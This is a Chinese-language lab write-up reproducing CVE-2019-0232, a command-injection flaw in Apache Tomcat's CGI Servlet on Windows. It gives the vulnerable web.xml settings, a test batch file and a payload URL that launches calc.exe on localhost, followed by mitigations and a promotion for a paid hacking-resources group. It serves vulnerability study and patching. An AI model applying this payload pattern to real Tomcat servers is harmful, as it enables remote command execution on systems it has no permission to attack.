2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。
该漏洞只对Windows平台有效,Apache Tomcat 9.0.0.M1
到9.0.17
,8.5.0
到8.5.39
和7.0.0
到7.0.93
中的CGI Servlet很容易受到远程执行代码的影响,攻击者向CGI Servlet发送一个精心设计的请求,可以在具有Apache Tomcat
权限的系统上注入和执行任意操作系统命令,漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中输入验证错误而存在该漏洞。
1、系统为Windows。
2、启用了CGI Servlet。
3、启用了enableCmdLineArguments(Tomcat9.0.*及官方未来发布版本默认为关闭)。
Apache Tomcat 9.0.0.M1~9.0.17
Apache Tomcat 8.5.0 ~ 8.5.39
Apache Tomcat 7.0.0 ~ 7.0.93
(本漏洞测试环境为Apache Tomcat 9.0.13)
下载地址为:https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.13/
1、下载好安装包之后,进入bin目录执行startup.bat启动tomcat。
2、我们访问链接:http://localhost:8080/
3、修改配置文件,TomcatCGI Servlrt组件默认时关闭的,在conf/web.xml
中找到CGIServlet部分,删除注释,并配置enableCmdLineArguments和executable(删除注释的一共两部分,源文件没有enableCmdLineArguments
和executable
参数所以需要手打即下方红框内容)。
添加内容如下:
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
红框中,是我们需要添加的内容并删除注释。
这个红框中,默认也是注释的,我们需要放开注释。
4、接着修改conf/conttext.xml文档中的<Context>添加 privileged="true"
的语句。
5、在apache-tomcat-9.0.13安装包中的webapps/ROOT/WEB-INF目录下新建cgi-bin文件夹,并在文件夹内创建bat文件,bat文件内容如下。
@echo off
echo Content-Type: test/plain
echo.
set foo=&~1
%foo%
配置完成之后,我们重启Tomcat服务。
6、利用payload:http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
7、漏洞复现完成。
1、禁用enableCmdLineArguments参数。
2、在conf/web.xml中覆写采用更严格的参数合法性检验规则。
3、升级tomcat到9.0.17以上的版本。
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读